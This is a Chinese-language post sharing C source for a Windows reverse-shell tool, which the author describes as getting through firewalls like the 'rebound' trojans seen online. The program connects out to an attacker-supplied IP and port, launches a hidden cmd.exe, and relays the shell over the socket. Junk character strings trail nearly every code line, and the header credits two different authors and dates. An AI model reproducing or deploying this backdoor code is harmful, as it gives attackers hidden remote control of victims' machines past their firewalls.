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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _:+W0YS  
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/* ============================== rs~RKTv-  
Rebound port in Windows NT ,aV89"}  
By wind,2006/7 .ZxSJ"Rk  
===============================*/ ;.V 5:,&  
#include KNC!T@O|{#  
#include <po.:c Ce  
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#pragma comment(lib,"wsock32.lib") _Z#yI/5r  
)6PZ.s/F6p  
void OutputShell(); yi"V'Us  
SOCKET sClient; %&c[g O!Za  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; MM|&B`v@;  
QJTGeJ Y  
void main(int argc,char **argv) NAZxM9  
{ ~/! Zh  
WSADATA stWsaData; 64#~p)  
int nRet; L,[0*h  
SOCKADDR_IN stSaiClient,stSaiServer; 0 !E* >  
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if(argc != 3)  8y OzD  
{ /jC0[%~jV  
printf("Useage:\n\rRebound DestIP DestPort\n"); WU Q2[)<  
return; kR%CSLOVy  
} N12K*P[!  
702&E(rx,  
WSAStartup(MAKEWORD(2,2),&stWsaData); -1Lh="US  
)$P!7$C-  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (jPN+yQ  
LZ|G"5X[  
stSaiClient.sin_family = AF_INET; H_ .@{8I  
stSaiClient.sin_port = htons(0); }LM^>M%  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); KAjKv_6=g  
Fq&@dxN3  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) l|%7)2TyG)  
{ W6K]jIQ  
printf("Bind Socket Failed!\n"); KOV^wSwS  
return; 6G/)q8'G  
} O1JGv8Nr  
wS%I.  
stSaiServer.sin_family = AF_INET; ] \4-e2N`\  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "#rlL^9v  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); S!#7]wtbP  
?%JH4I2  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) HGC>jeWd_  
{ Um9!<G=;  
printf("Connect Error!"); 4_&$isq  
return; U2ecvq[T  
} \'GX^0yK  
OutputShell(); Al$"k[-Uin  
} x,2+9CCU  
%HL@O]ftS  
void OutputShell() TqKL(Qw E  
{ _q)`Y:2  
char szBuff[1024]; n~8-+$6OR  
SECURITY_ATTRIBUTES stSecurityAttributes; 'ujt w:Z:  
OSVERSIONINFO stOsversionInfo; udqGa)&0  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Z2PLm0%:  
STARTUPINFO stStartupInfo; d{9rEB?  
char *szShell; PP[{ c  
PROCESS_INFORMATION stProcessInformation; [bJ"*^M)  
unsigned long lBytesRead; 4eU};Pv  
'@AK0No\W  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); >H ic tH  
_&XT =SW}  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {tu* ="d=  
stSecurityAttributes.lpSecurityDescriptor = 0; %ia/i :  
stSecurityAttributes.bInheritHandle = TRUE; [LL"86D  
zO9$fU  
9C-F%te7  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); "2'nLQ""q  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [uc;M6o}?  
W2%(a0p  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5;>M&qmN  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z&s+*& TM  
stStartupInfo.wShowWindow = SW_HIDE; ;T"}dJel#  
stStartupInfo.hStdInput = hReadPipe;  _"%d9B  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^KF  
$*xnq%A  
GetVersionEx(&stOsversionInfo); ok-sm~bp  
n4>  
switch(stOsversionInfo.dwPlatformId) >`5iq.v  
{ n2Dnpe:  
case 1: O(~`fN?n  
szShell = "command.com"; Q'*-gg&)  
break; }}cVPB7   
default: BtBy.bR  
szShell = "cmd.exe"; f|Z3VS0x  
break; iWCN2om  
} H3QAIsGS  
\ CV(c]  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $Fc*^8$ryC  
 42Gr0+Mb  
send(sClient,szMsg,77,0); ? RB~%^c!  
while(1) ]B3 0d  
{ MO9}It g  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); xPQO}wKa  
if(lBytesRead) 0Ny0#;P  
{ ;?=nr5;q  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); gSZ NsiH  
send(sClient,szBuff,lBytesRead,0); >kz5azV0  
} V/"0'H\"1  
else 6xk"bIp  
{ 9{70l539  
lBytesRead=recv(sClient,szBuff,1024,0); /-^gK^  
if(lBytesRead<=0) break; W E|L{  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); fS1N(RZ 1  
} y"cK@sOo  
} `Wn0v2@a(~  
Ea!}r| ~]0  
return; #8;^ys1f  
}
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